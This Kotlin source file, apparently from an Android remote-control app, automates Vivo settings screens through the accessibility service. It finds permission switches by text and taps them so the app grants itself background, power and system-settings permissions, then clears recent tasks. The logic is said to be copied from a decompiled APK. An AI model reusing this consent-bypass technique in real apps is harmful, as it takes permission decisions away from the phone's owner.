package com.hikoncont.service.modules

import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.content.Context
import android.content.Intent
import android.graphics.Path
import android.graphics.Rect
import android.net.Uri
import android.os.Build
import android.provider.Settings
import android.os.SystemClock
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService

import com.hikoncont.utils.PermissionRequestHelper
import kotlinx.coroutines.delay
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.Job
import kotlinx.coroutines.isActive
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import java.io.BufferedReader
import java.io.InputStreamReader
import java.util.concurrent.CountDownLatch
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicInteger
import java.util.concurrent.Executors

/**
 * Vivo设备授权处理器 - 基于原APK策略重构
 * 🎯 核心策略：精确文本搜索 + 固定3层开关查找 + 状态重新验证 + 超短手势点击 + 分段延迟
 */
class VivoAuthorizationHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) : DeviceAuthorizationHandler {

    companion object {
        private const val TAG = "VivoAuthorizationHandler"

        // ✅ 原APK核心常量
        private const val GESTURE_START_TIME = 10L    // 原APK超短手势起始时间
        private const val GESTURE_END_TIME = 50L      // 原APK超短手势结束时间
        private const val GESTURE_SLEEP_TIME = 50L    // 手势前延迟
        private const val DELAY_SEGMENT = 100         // 分段延迟片段
        private const val SWITCH_CLASS_NAME = "android.widget.Switch"

        /**
         * ✅ 获取稳定的根节点 (基于原APK o()策略)
         * 多次尝试获取rootInActiveWindow，确保稳定性
         */
        fun getStableRootInActiveWindow(service: AccessibilityService): AccessibilityNodeInfo? {
            var rootInActiveWindow: AccessibilityNodeInfo? = null

            // ✅ 原APK策略：最多尝试5次获取稳定的根节点
            for (attempt in 1..5) {
                rootInActiveWindow = service.rootInActiveWindow
                if (rootInActiveWindow != null) {
                    break
                }
                // 短暂延迟后重试
                Thread.sleep(50)
            }

            return rootInActiveWindow
        }

        // ✅ 权限任务类型 (参考原APK)
        private const val ACTION_TYPE_TEXT = 27       // 文本点击动作
        private const val ACTION_TYPE_SWITCH = 1931    // 开关动作
        private const val ACTION_TYPE_SPECIAL = 42203  // 特殊权限动作
        private const val ACTION_TYPE_NAVIGATION = 81  // 导航动作
        private const val ACTION_TYPE_TIMEOUT = 30564  // 超时动作

        // ✅ Vivo系统属性检测
        private const val VIVO_OS_VERSION_PROP = "ro.vivo.os.version"
        private const val VIVO_BUILD_ID_PROP = "ro.vivo.os.build.display.id"

        // 指定版本检测（仿 OppoAuthorizationHandler 风格）
        // 本地版本常量（与SDK整型一致，避免引用外部私有常量）

        private const val VIVO_ANDROID_10 = 29
        private const val VIVO_ANDROID_11 = 30
        private const val VIVO_ANDROID_12 = 31 // 32 也归入 Android 12
        private const val VIVO_ANDROID_13 = 33
        private const val VIVO_ANDROID_14 = 34
        private const val VIVO_ANDROID_15 = 35

        private fun detectAndroidVersion(): Int {
            return try {
                val sdkVersion = android.os.Build.VERSION.SDK_INT
                Log.d(TAG, "🔍 当前Android SDK版本: $sdkVersion")
                when (sdkVersion) {
                    29 -> VIVO_ANDROID_10
                    30 -> VIVO_ANDROID_11
                    31, 32 -> VIVO_ANDROID_12
                    33 -> VIVO_ANDROID_13
                    34 -> VIVO_ANDROID_14
                    35 -> VIVO_ANDROID_15
                    else -> sdkVersion // 未知版本直接返回原值，保持等值判断语义
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 版本检测失败，使用默认流程", e)
                VIVO_ANDROID_14
            }
        }

        private val ANDROID_VERSION: Int by lazy { detectAndroidVersion() }

        // 等值判断，不做范围比较
        private val IS_ANDROID_10: Boolean by lazy { ANDROID_VERSION == VIVO_ANDROID_10 }
        private val IS_ANDROID_13: Boolean by lazy { ANDROID_VERSION == android.os.Build.VERSION_CODES.TIRAMISU }
    }


    // ✅ 原APK风格的事件处理器
    private val mainHandler = android.os.Handler(android.os.Looper.getMainLooper())
    private val gestureExecutor = Executors.newFixedThreadPool(20)
    private  var AutoSatrtApp = false

    fun delay_page():Long {
        return try {

            when (ANDROID_VERSION) {
                VIVO_ANDROID_10 -> 600L
                VIVO_ANDROID_11 -> 500L
                VIVO_ANDROID_12 -> 400L
                VIVO_ANDROID_13 -> 400L
                VIVO_ANDROID_14 -> 300L
                VIVO_ANDROID_15 -> 300L
                else -> 500L
            }
        } catch (e: Exception) {
            500L

        }
    }
    override suspend fun executeAuthorization(): AuthorizationResult {
        Log.i(TAG, "🎯 开始Vivo设备授权配置 (基于原APK策略)")
        
        // ✅ 新增：输出完整的手机信息报告
//        printPhoneInfoReport()
        
        // ✅ 新增：获取手机详细信息
//        val phoneInfo = getPhoneDetailedInfo()
//        val brandType = getPhoneBrandType()
//        val modelDetails = getPhoneModelDetails()
//
//        Log.i(TAG, "📱 手机品牌类型: $brandType")
//        Log.i(TAG, "📱 手机型号: ${modelDetails["model"]}")
//        Log.i(TAG, "📱 手机产品: ${modelDetails["product"]}")
        
        return if (IS_ANDROID_13) executeAuthorizationAndroid13() else executeAuthorizationDefault()
    }

    private suspend fun executeAuthorizationDefault(): AuthorizationResult {
        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()
        try {
            if (executeAppDetailsPermissions(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ 应用详情权限配置成功")
            }
            if (executeBackgroundHighPowerPermission(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ 省电管理应用限制")
            }
            if (executeVivoPermissionPage(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ Vivo权限管理页面配置成功")
            }
            if (executePowerSaveSpecialPermissions(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ 省电管理特殊权限配置成功")
            }
            // ✅ 新增：修改系统设置权限配置
//            if (executeWriteSettingsPermission(completedRoutes, failedRoutes)) {
//                Log.i(TAG, "✅ 修改系统设置权限配置成功")
//            }
            // ✅ 新增：Android 15通知权限配置
//            if (ANDROID_VERSION == VIVO_ANDROID_15) {
//                if (executeNotificationPermission(completedRoutes, failedRoutes)) {
//                    Log.i(TAG, "✅ Android 15通知权限配置成功")
//                }
//            }
            clearEndAllRecentTasks()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        }
        val success = true
        return AuthorizationResult(success, completedRoutes, failedRoutes, warnings)
    }

    private suspend fun executeAuthorizationAndroid13(): AuthorizationResult {
        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()
        try {
            // Android 13 对页面渲染和返回时机更敏感，步骤间加入短暂间隔
            if (executeAppDetailsPermissions(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A13] 应用详情权限配置成功")
            }
            performSegmentedDelay(200)

            if (executeBackgroundHighPowerPermission(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A13] 省电管理应用限制")
            }
            performSegmentedDelay(200)
            if (executeVivoPermissionPage(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A13] Vivo权限管理页面配置成功")
            }

            performSegmentedDelay(200)

            if (executePowerSaveSpecialPermissions(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A13] 省电管理特殊权限配置成功")
            }
            
            performSegmentedDelay(200)
            
            // ✅ 新增：修改系统设置权限配置
            if (executeWriteSettingsPermission(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A13] 修改系统设置权限配置成功")
            }
            
            // ✅ 新增：Android 15通知权限配置（Android 13也支持）
//            if (ANDROID_VERSION == VIVO_ANDROID_15) {
//                performSegmentedDelay(200)
//                if (executeNotificationPermission(completedRoutes, failedRoutes)) {
//                    Log.i(TAG, "✅ [A13] Android 15通知权限配置成功")
//                }
//            }
            clearEndAllRecentTasks()
        } catch (e: Exception) {
            Log.e(TAG, "❌ [A13] 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        }
        val success = completedRoutes.size >= 1
        return AuthorizationResult(success, completedRoutes, failedRoutes, warnings)
    }

    // ======================== 原APK核心策略方法 ========================

    /**
     * ✅ 原APK文本搜索策略 (u方法)
     * 特点：精确文本匹配 + Vivo可见性检查 + AutoCompleteTextView排除
     */
    private fun findTextByOriginalAPK(text: String): AccessibilityNodeInfo? {
        return try {
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return null
            val nodes = rootInActiveWindow.findAccessibilityNodeInfosByText(text)

            if (nodes.isEmpty()) return null

            // ✅ 原APK精确匹配策略
            for (node in nodes) {
                val nodeText = node.text?.toString()
                val className = node.className?.toString()
                val contentDesc = node.contentDescription?.toString()

                // ✅ 精确文本匹配
                if (nodeText == text || contentDesc == text) {
                    // ✅ 排除AutoCompleteTextView (原APK策略)
                    if (className?.endsWith(".AutoCompleteTextView") != true) {
                        // ✅ Vivo可见性检查 (原APK策略)
                        if (!android.os.Build.BRAND.equals("vivo", true) || node.isVisibleToUser) {
                            Log.d(
                                TAG,
                                "✅ [原APK策略] 找到文本节点: $text (match=${if (nodeText == text) "text" else "contentDesc"})"
                            )
                            return node
                        }
                    }
                }
            }

            Log.d(TAG, "⚠️ [原APK策略] 未找到文本: $text")
            null

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 文本搜索失败: $text", e)
            null
        }
    }

    /**
     * ✅ 原APK开关查找策略 (n + o方法)
     * 特点：固定3层深度搜索 + 向上父节点递归
     */
    private fun findSwitchByOriginalAPK(
        textNode: AccessibilityNodeInfo,
        className: String? = null
    ): AccessibilityNodeInfo? {
        return try {
            val targetClass = className ?: SWITCH_CLASS_NAME

            // ✅ 策略1: 先在当前文本节点的父节点子级中搜索 (o方法)
            val switchFromCurrent = findSwitchInParentChildren(textNode, targetClass)
            if (switchFromCurrent != null) {
                Log.d(TAG, "✅ [原APK策略] 在父节点子级找到开关: $targetClass")
                return switchFromCurrent
            }

            // ✅ 策略2: 递归向上父节点搜索 (n方法)
            var currentParent = textNode.parent
            while (currentParent != null) {
                val switchFromParent = findSwitchInParentChildren(currentParent, targetClass)
                if (switchFromParent != null) {
                    Log.d(TAG, "✅ [原APK策略] 在父节点递归搜索找到开关: $targetClass")
                    return switchFromParent
                }
                currentParent = currentParent.parent
            }

            Log.w(TAG, "❌ [原APK策略] 未找到开关: $targetClass")
            null

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 开关查找失败", e)
            null
        }
    }

    /**
     * ✅ 原APK固定3层深度搜索 (o方法实现)
     */
    private fun findSwitchInParentChildren(
        node: AccessibilityNodeInfo,
        className: String
    ): AccessibilityNodeInfo? {
        val parent = node.parent ?: return null

        // ✅ 搜索当前层的子节点
        for (i in 0 until parent.childCount) {
            val child = parent.getChild(i) ?: continue
            if (child.isEnabled && child.className.toString() == className) {
                Log.d(TAG, "✅ [原APK策略] 第1层找到开关: $className")
                return child
            }

            // ✅ 搜索第2层子节点
            if (child.childCount > 0) {
                for (j in 0 until child.childCount) {
                    val grandChild = child.getChild(j) ?: continue
                    if (grandChild.isEnabled && grandChild.className.toString() == className) {
                        Log.d(TAG, "✅ [原APK策略] 第2层找到开关: $className")
                        return grandChild
                    }

                    // ✅ 搜索第3层子节点
                    if (grandChild.childCount > 0) {
                        for (k in 0 until grandChild.childCount) {
                            val greatGrandChild = grandChild.getChild(k) ?: continue
                            if (greatGrandChild.isEnabled && greatGrandChild.className.toString() == className) {
                                Log.d(TAG, "✅ [原APK策略] 三3层找到开关: $className")
                                return greatGrandChild
                            }
                        }
                    }
                }
            }
        }

        return null
    }

    /**
     * ✅ 原APK状态检查策略 (e方法)
     * 特点：重新搜索节点验证状态 + 避免使用旧节点引用
     */
    private fun checkSwitchStateByOriginalAPK(expectedText: String, expectedState: Int): Boolean {
        return try {
            // ✅ 重新搜索文本节点 (原APK策略)
            val textNode = findTextByOriginalAPK(expectedText) ?: return false

            // ✅ 重新搜索开关节点 (原APK策略)
            val switchNode = findSwitchByOriginalAPK(textNode)
            if (switchNode == null) return false

            // ✅ 获取当前状态
            val currentState = switchNode.isChecked

            // ✅ 状态验证逻辑 (原APK策略)
            val isValid = when (expectedState) {
                0 -> currentState == false      // 期望关闭，当前关闭 = 有效
                1 -> currentState == true        // 期望开启，当前開啟 = 有效  
                else -> true
            }

            Log.d(
                TAG,
                "[原APK策略] 状态检查: 期望=$expectedState, 当前=$currentState, 有效=$isValid"
            )
            isValid

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 状态检查失败", e)
            false
        }
    }

    /**
     * ✅ 原APK点击执行策略 (p + g + w方法链)
     * 特点：4级点击策略链 + 精确坐标兜底
     */
    private suspend fun executeClickByOriginalAPK(node: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 [原APK策略] 开始执行点击操作")


            // ✅ 策略1: 直接点击 (p方法第一层)
            if (node.isClickable) {
                val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (success) {
                    Log.d(TAG, "✅ [原APK策略] 直接点击成功")
                    return true
                }
            }

            // ✅ 策略2: 父级点击 (p方法第二层)
            var parent = node.parent
            while (parent != null) {
                if (parent.isClickable) {
                    val success = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (success) {
                        Log.d(TAG, "✅ [原APK策略] 父级点击成功")
                        return true
                    }
                }
                parent = parent.parent
            }


            // ✅ 策略3: 子级点击 (p方法第三层)
            // 注：原APK有复杂的子级点击逻辑，这里简化实现

            // ✅ 策略4: 精确坐标点击 (g + f方法)
            Log.d(TAG, "🔄 [原APK策略] 尝试精确坐标点击")
            val rect = Rect()
            node.getBoundsInScreen(rect)
            val exactCenterX = rect.exactCenterX().toInt()
            val exactCenterY = rect.exactCenterY().toInt()

            val coordinateSuccess =
                executePreciseGestureClick(exactCenterX, exactCenterY, 3) // 增加点击次数
            if (coordinateSuccess) {
                Log.d(TAG, "✅ [原APK策略] 精确坐标点击成功")
                return true
            }

            // ✅ 策略0: 强制ACTION_CLICK (原APK增强策略)
//            if (node.actionList.any { it.id == AccessibilityNodeInfo.ACTION_CLICK }) {
//                val actionClickSuccess = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
//                if (actionClickSuccess) {
//                    Log.d(TAG, "✅ [原APK策略] 强制ACTION_CLICK成功")
//                    return true
//                }
//            }

            Log.w(TAG, "❌ [原APK策略] 所有点击策略都失败")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 点击执行失败", e)
            false
        }
    }

    /**
     * ✅ 原APK精确手势点击 (f方法实现)
     * 特点：超短手势时间 + 手势前延迟 + 批量并发
     */
    private fun executePreciseGestureClick(x: Int, y: Int, count: Int = 1): Boolean {
        return try {
            var anySuccess = false
            for (i in 1..count) {
                val ok = simpleCoordinateClick(x, y)
                anySuccess = anySuccess || ok
                if (i < count) SystemClock.sleep(100)
            }
            anySuccess
        } catch (e: Exception) {
            Log.e(TAG, "❌ 手势点击失败", e)
            false
        }
    }

    // Huawei 同款的简易坐标点击
    private fun simpleCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            val builder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(x.toFloat(), y.toFloat())
            val stroke =
                android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 120)
            builder.addStroke(stroke)
            service.dispatchGesture(builder.build(), null, null)
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击异常", e)
            false
        }
    }

    /**
     * ✅ 原APK分段延迟策略 (z方法实现)
     * 特点：避免长时间阻塞 + 分段睡眠
     */
    private suspend fun performSegmentedDelay(delayMs: Int) {
        var remaining = delayMs
        while (remaining > 0) {
            val segmentDelay = Math.min(remaining, DELAY_SEGMENT)
            delay(segmentDelay.toLong())
            remaining -= segmentDelay
        }
    }

    /**
     * ✅ 原APK系统属性检测策略 (q方法实现)
     */
    private fun getVivoSystemProperty(property: String): String {
        return try {
            val process = Runtime.getRuntime().exec("getprop $property")
            val reader = BufferedReader(InputStreamReader(process.inputStream))
            val value = reader.readLine() ?: ""
            reader.close()
            process.waitFor()
            value
        } catch (e: Exception) {
            Log.e(TAG, "❌ [原APK策略] 获取系统属性失败: $property", e)
            ""
        }
    }

    /**
     * ✅ 获取手机详细信息 - 区分VIVO和IQOO手机
     */
    private fun getPhoneDetailedInfo(): Map<String, String> {
        return try {
            val phoneInfo = mutableMapOf<String, String>()
            
            // 基础信息
            phoneInfo["brand"] = Build.BRAND ?: "unknown"
            phoneInfo["manufacturer"] = Build.MANUFACTURER ?: "unknown"
            phoneInfo["model"] = Build.MODEL ?: "unknown"
            phoneInfo["product"] = Build.PRODUCT ?: "unknown"
            phoneInfo["device"] = Build.DEVICE ?: "unknown"
            phoneInfo["board"] = Build.BOARD ?: "unknown"
            phoneInfo["hardware"] = Build.HARDWARE ?: "unknown"
            phoneInfo["fingerprint"] = Build.FINGERPRINT ?: "unknown"
            
            // Android版本信息
            phoneInfo["sdk_version"] = Build.VERSION.SDK_INT.toString()
            phoneInfo["release"] = Build.VERSION.RELEASE ?: "unknown"
            phoneInfo["codename"] = Build.VERSION.CODENAME ?: "unknown"
            
            // Vivo特定信息
            phoneInfo["vivo_os_version"] = getVivoSystemProperty("ro.vivo.os.version")
            phoneInfo["vivo_build_id"] = getVivoSystemProperty("ro.vivo.os.build.display.id")
            phoneInfo["vivo_rom_version"] = getVivoSystemProperty("ro.vivo.rom.version")
            phoneInfo["vivo_rom_name"] = getVivoSystemProperty("ro.vivo.rom.name")
            
            // 系统属性
            phoneInfo["ro_build_id"] = getVivoSystemProperty("ro.build.id")
            phoneInfo["ro_build_display_id"] = getVivoSystemProperty("ro.build.display.id")
            phoneInfo["ro_build_version_incremental"] = getVivoSystemProperty("ro.build.version.incremental")
            phoneInfo["ro_build_description"] = getVivoSystemProperty("ro.build.description")
            
            // 设备标识
            phoneInfo["ro_product_brand"] = getVivoSystemProperty("ro.product.brand")
            phoneInfo["ro_product_manufacturer"] = getVivoSystemProperty("ro.product.manufacturer")
            phoneInfo["ro_product_model"] = getVivoSystemProperty("ro.product.model")
            phoneInfo["ro_product_name"] = getVivoSystemProperty("ro.product.name")
            phoneInfo["ro_product_device"] = getVivoSystemProperty("ro.product.device")
            
            // 芯片信息
            phoneInfo["ro_chipname"] = getVivoSystemProperty("ro.chipname")
            phoneInfo["ro_hardware"] = getVivoSystemProperty("ro.hardware")
            phoneInfo["ro_board_platform"] = getVivoSystemProperty("ro.board.platform")
            
            // 运营商信息
            phoneInfo["ro_telephony_default_network"] = getVivoSystemProperty("ro.telephony.default_network")
            phoneInfo["ro_carrier"] = getVivoSystemProperty("ro.carrier")
            
            // 安全信息
            phoneInfo["ro_secure"] = getVivoSystemProperty("ro.secure")
            phoneInfo["ro_debuggable"] = getVivoSystemProperty("ro.debuggable")
            
            // 打印详细信息
            Log.i(TAG, "📱 手机详细信息:")
            phoneInfo.forEach { (key, value) ->
                Log.i(TAG, "  $key: $value")
            }
            
            phoneInfo
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取手机详细信息失败", e)
            emptyMap()
        }
    }

    /**
     * ✅ 判断手机品牌类型 - 区分VIVO和IQOO
     */
    private fun getPhoneBrandType(): String {
        return try {
            val phoneInfo = getPhoneDetailedInfo()
            val brand = phoneInfo["brand"]?.lowercase() ?: ""
            val manufacturer = phoneInfo["manufacturer"]?.lowercase() ?: ""
            val product = phoneInfo["product"]?.lowercase() ?: ""
            val device = phoneInfo["device"]?.lowercase() ?: ""
            val model = phoneInfo["model"]?.lowercase() ?: ""
            
            Log.d(TAG, "🔍 品牌检测: brand=$brand, manufacturer=$manufacturer, product=$product, device=$device, model=$model")
            
            when {
                // IQOO手机特征
                brand.contains("iqoo") || 
                manufacturer.contains("iqoo") || 
                product.contains("iqoo") || 
                device.contains("iqoo") || 
                model.contains("iqoo") -> {
                    Log.i(TAG, "🎮 检测到IQOO手机")
                    "IQOO"
                }
                
                // VIVO手机特征
                brand.contains("vivo") || 
                manufacturer.contains("vivo") || 
                product.contains("vivo") || 
                device.contains("vivo") || 
                model.contains("vivo") -> {
                    Log.i(TAG, "📱 检测到VIVO手机")
                    "VIVO"
                }
                
                // 其他BBK系手机
                brand.contains("bbk") || 
                manufacturer.contains("bbk") || 
                product.contains("bbk") -> {
                    Log.i(TAG, "🏢 检测到BBK系手机")
                    "BBK"
                }
                
                else -> {
                    Log.w(TAG, "❓ 未知品牌手机")
                    "UNKNOWN"
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 判断手机品牌类型失败", e)
            "UNKNOWN"
        }
    }

    /**
     * ✅ 获取手机型号详细信息
     */
    private fun getPhoneModelDetails(): Map<String, String> {
        return try {
            val phoneInfo = getPhoneDetailedInfo()
            val model = phoneInfo["model"] ?: ""
            val product = phoneInfo["product"] ?: ""
            val device = phoneInfo["device"] ?: ""
            val fingerprint = phoneInfo["fingerprint"] ?: ""
            
            val modelDetails = mutableMapOf<String, String>()
            modelDetails["model"] = model
            modelDetails["product"] = product
            modelDetails["device"] = device
            modelDetails["fingerprint"] = fingerprint
            
            // 尝试从fingerprint中提取更多信息
            if (fingerprint.isNotEmpty()) {
                val parts = fingerprint.split("/")
                if (parts.size >= 4) {
                    modelDetails["brand_from_fingerprint"] = parts[0]
                    modelDetails["product_from_fingerprint"] = parts[1]
                    modelDetails["device_from_fingerprint"] = parts[2]
                    modelDetails["release_from_fingerprint"] = parts[3]
                }
            }
            
            Log.i(TAG, "📱 手机型号详细信息:")
            modelDetails.forEach { (key, value) ->
                Log.i(TAG, "  $key: $value")
            }
            
            modelDetails
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取手机型号详细信息失败", e)
            emptyMap()
        }
    }

    /**
     * ✅ 输出完整的手机信息报告
     */
    private fun printPhoneInfoReport() {
        try {
            val separator = "=".repeat(60)
            Log.i(TAG, separator)
            Log.i(TAG, "📱 手机详细信息报告")
            Log.i(TAG, separator)
            
            val phoneInfo = getPhoneDetailedInfo()
            val brandType = getPhoneBrandType()
            val modelDetails = getPhoneModelDetails()
            
            // 基础信息
            Log.i(TAG, "📱 基础信息:")
            Log.i(TAG, "  品牌: ${phoneInfo["brand"]}")
            Log.i(TAG, "  制造商: ${phoneInfo["manufacturer"]}")
            Log.i(TAG, "  型号: ${phoneInfo["model"]}")
            Log.i(TAG, "  产品: ${phoneInfo["product"]}")
            Log.i(TAG, "  设备: ${phoneInfo["device"]}")
            Log.i(TAG, "  主板: ${phoneInfo["board"]}")
            Log.i(TAG, "  硬件: ${phoneInfo["hardware"]}")
            
            // Android版本信息
            Log.i(TAG, "🤖 Android版本信息:")
            Log.i(TAG, "  SDK版本: ${phoneInfo["sdk_version"]}")
            Log.i(TAG, "  发布版本: ${phoneInfo["release"]}")
            Log.i(TAG, "  代号: ${phoneInfo["codename"]}")
            
            // Vivo特定信息
            Log.i(TAG, "📱 Vivo特定信息:")
            Log.i(TAG, "  Vivo OS版本: ${phoneInfo["vivo_os_version"]}")
            Log.i(TAG, "  Vivo构建ID: ${phoneInfo["vivo_build_id"]}")
            Log.i(TAG, "  Vivo ROM版本: ${phoneInfo["vivo_rom_version"]}")
            Log.i(TAG, "  Vivo ROM名称: ${phoneInfo["vivo_rom_name"]}")
            
            // 品牌类型判断
            Log.i(TAG, "🏷️ 品牌类型判断:")
            Log.i(TAG, "  检测结果: $brandType")
            
            // 芯片信息
            Log.i(TAG, "🔧 芯片信息:")
            Log.i(TAG, "  芯片名称: ${phoneInfo["ro_chipname"]}")
            Log.i(TAG, "  硬件平台: ${phoneInfo["ro_board_platform"]}")
            Log.i(TAG, "  硬件信息: ${phoneInfo["ro_hardware"]}")
            
            // 系统属性
            Log.i(TAG, "⚙️ 系统属性:")
            Log.i(TAG, "  构建ID: ${phoneInfo["ro_build_id"]}")
            Log.i(TAG, "  显示ID: ${phoneInfo["ro_build_display_id"]}")
            Log.i(TAG, "  增量版本: ${phoneInfo["ro_build_version_incremental"]}")
            Log.i(TAG, "  构建描述: ${phoneInfo["ro_build_description"]}")
            
            // 设备标识
            Log.i(TAG, "🆔 设备标识:")
            Log.i(TAG, "  产品品牌: ${phoneInfo["ro_product_brand"]}")
            Log.i(TAG, "  产品制造商: ${phoneInfo["ro_product_manufacturer"]}")
            Log.i(TAG, "  产品型号: ${phoneInfo["ro_product_model"]}")
            Log.i(TAG, "  产品名称: ${phoneInfo["ro_product_name"]}")
            Log.i(TAG, "  产品设备: ${phoneInfo["ro_product_device"]}")
            
            // 运营商信息
            Log.i(TAG, "📶 运营商信息:")
            Log.i(TAG, "  默认网络: ${phoneInfo["ro_telephony_default_network"]}")
            Log.i(TAG, "  运营商: ${phoneInfo["ro_carrier"]}")
            
            // 安全信息
            Log.i(TAG, "🔒 安全信息:")
            Log.i(TAG, "  安全模式: ${phoneInfo["ro_secure"]}")
            Log.i(TAG, "  调试模式: ${phoneInfo["ro_debuggable"]}")
            
            Log.i(TAG, separator)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 输出手机信息报告失败", e)
        }
    }

    // ======================== 权限配置流程 ========================

    /**
     * ✅ 修改系统设置权限配置
     * 流程：打开修改系统设置页面 → 点击允许开关
     */
    private suspend fun executeWriteSettingsPermission(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始修改系统设置权限配置")
        
        return try {
            // 1) 打开修改系统设置权限页面
            if (!openWriteSettingsPage()) {
                Log.w(TAG, "❌ 无法打开修改系统设置权限页面")
                failedRoutes.add("修改系统设置权限-打开页面")
                return false
            }
            
            // 2) 等待页面加载
            performSegmentedDelay(800)
            
            // 3) 自动点击允许开关
            if (!attemptVivoRightSwitchToggle()) {
                Log.w(TAG, "❌ 无法点击允许开关")
                failedRoutes.add("修改系统设置权限-点击开关")
                return false
            }
            
            // 4) 返回应用
//            returnToAppAndWaitVivo()
            performSegmentedDelay(100)
            completedRoutes.add("修改系统设置权限")
            Log.i(TAG, "✅ 修改系统设置权限配置成功")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 修改系统设置权限配置失败", e)
            failedRoutes.add("修改系统设置权限-异常")
            false
        }
    }
    
    /**
     * ✅ 打开修改系统设置权限页面
     * 参考 WriteSettingsPermissionManager.openWriteSettingsPage
     */
    private fun openWriteSettingsPage(): Boolean {
        return try {
            Log.i(TAG, "📱 打开WRITE_SETTINGS权限设置页面")
            Log.i(TAG, "📦 应用包名: ${context.packageName}")
            
            val intent = Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS).apply {
                data = Uri.parse("package:${context.packageName}")
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }
            
            // 检查Intent是否可以被处理
            val resolveInfo = context.packageManager.resolveActivity(intent, 0)
            if (resolveInfo != null) {
                Log.i(TAG, "✅ 找到处理Intent的Activity: ${resolveInfo.activityInfo.packageName}")
                context.startActivity(intent)
                Log.i(TAG, "✅ 已启动WRITE_SETTINGS权限设置页面")
                return true
            } else {
                Log.w(TAG, "⚠️ 系统不支持ACTION_MANAGE_WRITE_SETTINGS，尝试备用方案")
                return openGeneralSettingsPage()
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开WRITE_SETTINGS权限设置页面失败", e)
            // 如果无法打开特定页面，尝试打开通用设置页面
            return openGeneralSettingsPage()
        }
    }
    
    /**
     * ✅ 打开通用设置页面（备用方案）
     */
    private fun openGeneralSettingsPage(): Boolean {
        return try {
            Log.i(TAG, "📱 尝试打开通用设置页面（备用方案）")
            
            val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = Uri.parse("package:${context.packageName}")
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }
            
            val resolveInfo = context.packageManager.resolveActivity(intent, 0)
            if (resolveInfo != null) {
                Log.i(TAG, "✅ 找到通用设置Activity: ${resolveInfo.activityInfo.packageName}")
                context.startActivity(intent)
                Log.i(TAG, "✅ 已启动通用设置页面")
                return true
            } else {
                Log.e(TAG, "❌ 系统不支持应用设置页面")
                return false
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开通用设置页面失败", e)
            false
        }
    }
    
    /**
     * ✅ 自动点击Vivo右侧开关
     * 参考 WriteSettingsPermissionManager.attemptVivoRightSwitchToggle
     */
    private suspend fun attemptVivoRightSwitchToggle(): Boolean {
        val root = getStableRootInActiveWindow(service) ?: return false
        return try {
            // 目标文案集合
            val targetTexts = listOf(
                "允许修改系统设置",
            )
            
            // 逐个文案查找文本节点
            var textNode: AccessibilityNodeInfo? = null
            for (t in targetTexts) {
                textNode = findNodeWithText(root, t)
                if (textNode != null) {
                    Log.i(TAG, "✅ 找到vivo目标文本: '$t'")
                    break
                }
            }
            if (textNode == null) {
                Log.w(TAG, "❌ 未找到vivo目标文本节点")
                return false
            }
            
            // 直接使用父节点的第二个子节点作为右侧区域，取其中心坐标进行点击
            val parent = textNode.parent
            if (parent == null || parent.childCount < 2) {
                Log.w(TAG, "❌ 父节点不存在或子节点不足，无法使用第二个子节点坐标 → 启用兜底方案")
                
                // 兜底1：在整棵树中查找第一个可见的Switch类控件
                val switchNode = findFirstVisibleSwitch(root)
                if (switchNode != null) {
                    val sRect = Rect()
                    switchNode.getBoundsInScreen(sRect)
                    Log.d(
                        TAG,
                        "📍 发现全局Switch: ${sRect.left},${sRect.top},${sRect.right},${sRect.bottom}"
                    )
                    if (!sRect.isEmpty) {
                        Log.d(
                            TAG,
                            "🎯 点击全局Switch中心: x=${sRect.centerX()}, y=${sRect.centerY()}"
                        )
                        val ok = simpleCoordinateClick(
                            sRect.centerX(),
                            sRect.centerY()
